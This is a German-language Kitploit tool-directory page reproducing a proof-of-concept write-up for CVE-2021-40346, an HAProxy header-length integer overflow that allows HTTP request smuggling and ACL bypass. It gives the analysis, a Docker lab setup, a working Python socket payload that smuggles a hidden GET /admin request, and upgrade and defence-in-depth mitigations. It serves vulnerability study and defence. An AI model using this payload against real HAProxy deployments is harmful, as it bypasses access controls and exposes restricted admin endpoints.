Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-40346 — PoC-Exploit für CVE-2021-40346: Integer-Überlauf in HAProxy ermöglicht HTTP-Request-Smuggling und ACL-Umgehung. Enthält Analyse, Reproduktionsschritte und Schadensbegrenzungshinweise. | Kitploit
Tools/GitHubGitHub/jmg0929/cve-2021-40346
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubjmg0929/cve-2021-40346

CVE-2021-40346

PoC-Exploit für CVE-2021-40346: Integer-Überlauf in HAProxy ermöglicht HTTP-Request-Smuggling und ACL-Umgehung. Enthält Analyse, Reproduktionsschritte und Schadensbegrenzungshinweise.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-40346 — HAProxy Integer Overflow leading to HTTP Request Smuggling

Zusammenfassung der Schwachstelle

  • HAProxy ist eine Open-Source-basierte Reverse-Proxy- und Load-Balancer-Software, die für Lastverteilung und die Verarbeitung von ACLs (Access Control Lists) zuständig ist.
  • CVE-2021-40346 ist eine Schwachstelle zur Umgehung der Zugriffskontrolle (ACL Bypass), die dadurch entsteht, dass die Funktion htx_add_header(), die HTTP-Header im internen HTX-Format speichert, die Länge des Headernamens nicht überprüft.
  • Diese Schwachstelle wird als einfach zu manipulieren, aber mit starker Wirkung eingeschätzt, da allein durch die Verlängerung der Headernamenlänge in einer HTTP-Anfrage unter bestimmten Bedingungen ein Angreifer gewünschte Anfragen im Backend ausführen kann.
  • Referenz: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/

Bedingungen für die Schwachstelle

  • Betroffene Versionen: HAProxy 2.0 bis einschließlich 2.5 (dev6 inbegriffen)
  • ACL-Konfiguration: Im Frontend muss eine pfadbasierte Zugriffsregel (z.B. path_beg /admin) auf Basis von konfiguriert sein — diese Regel ist das Ziel der Umgehung.
http-request

Analyse

HAProxy speichert HTTP-Header im internen HTX-Format und zeichnet die Länge des Headernamens in einem 8-Bit-Feld (maximal 255) auf. In der Funktion htx_add_header() fehlt eine Überprüfung dieser Länge, sodass bei einem Namen von mehr als 256 Bytes ein Integer-Überlauf auftritt und die überlaufenden Bits in das benachbarte Feld für die Wertlänge übertragen werden.

Wenn der Headername exakt 270 Bytes beträgt (270 mod 256 = 14), verwechselt HAProxy ihn mit "Content-Length" (14 Zeichen) und liest das durch den Überlauf kontaminierte 1-Byte als Wert. Platziert man dort "0", wird ein gefälschter Content-Length: 0-Header erzeugt.

Wenn nach diesem gefälschten Header der echte Content-Length-Header gesendet wird, übernimmt HAProxy den zuerst empfangenen (den gefälschten 0) und verwirft den echten. Der Prozess des Einlesens des tatsächlichen Rumpfes vom Client funktioniert zwar korrekt basierend auf dem Originaltext, aber der an das Backend übermittelte Header enthält den gefälschten Wert (0), sodass die tatsächlich empfangene Rumpfgröße und die dem Backend mitgeteilte Größe nicht übereinstimmen.

Das Backend vertraut dem mitgeteilten Wert (0), nimmt an, dass die Anfrage beendet ist, und interpretiert die ursprünglichen Rumpfdaten als vollständig neue Anfrage. Da die ACL von HAProxy zuvor nur die erste Anfragezeile überprüft, erreicht die versteckte zweite Anfrage das Backend, ohne der Prüfung unterzogen zu werden. Infolgedessen werden alle konfigurierten http-request-ACLs umgangen.

Einrichtung der Umgebung und Reproduktionsschritte

  • Führen Sie docker compose up --build -d aus, um die anfällige Testumgebung zu starten (haproxy 2.2.16 / Backend: gunicorn).

  • Testen Sie die Aktivierung von HAProxy und Backend-Server mit folgendem Code:

    root@kitploit:~
    until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
    echo "준비 완료"
    
  • Führen Sie den PoC-Code aus: python3 poc.py --host 127.0.0.1 --port 8080

  • Überprüfen Sie mit docker logs cve-2021-40346-backend --tail 5, ob die /admin-Anfrage tatsächlich im Backend verarbeitet wurde.

PoC-Code

root@kitploit:~
import socket

HOST = "127.0.0.1"
PORT = 8080

# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255   # 14 + 1 + 255 = 270 bytes

hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: abc.com\r\n"
    + fake_name + b":\r\n"
    + b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
    b"\r\n"
    + hidden_request
)

with socket.create_connection((HOST, PORT), timeout=5) as s:
    s.sendall(payload)
    print(s.recv(4096).decode(errors="replace"))

Ausführungsergebnis

Ausführungsergebnis Wie oben zu sehen, wird die GET-Anfrage an das eingeschränkte /admin im Backend verarbeitet.

Abhilfemaßnahmen

  • Versions-Upgrade: Sofort auf 2.0.25 / 2.2.17 / 2.3.14 / 2.4.4 oder höher aktualisieren (Das Problem wurde grundlegend behoben, indem eine Überprüfung der Namen-/Wertlänge in htx_add_header() hinzugefügt wurde).
  • Defense in Depth: Nicht nur auf die Proxy-ACLs verlassen, sondern auch Authentifizierungs-/Autorisierungslogik in der Backend-Anwendung selbst implementieren (doppelte Absicherung).
Tool herunterladen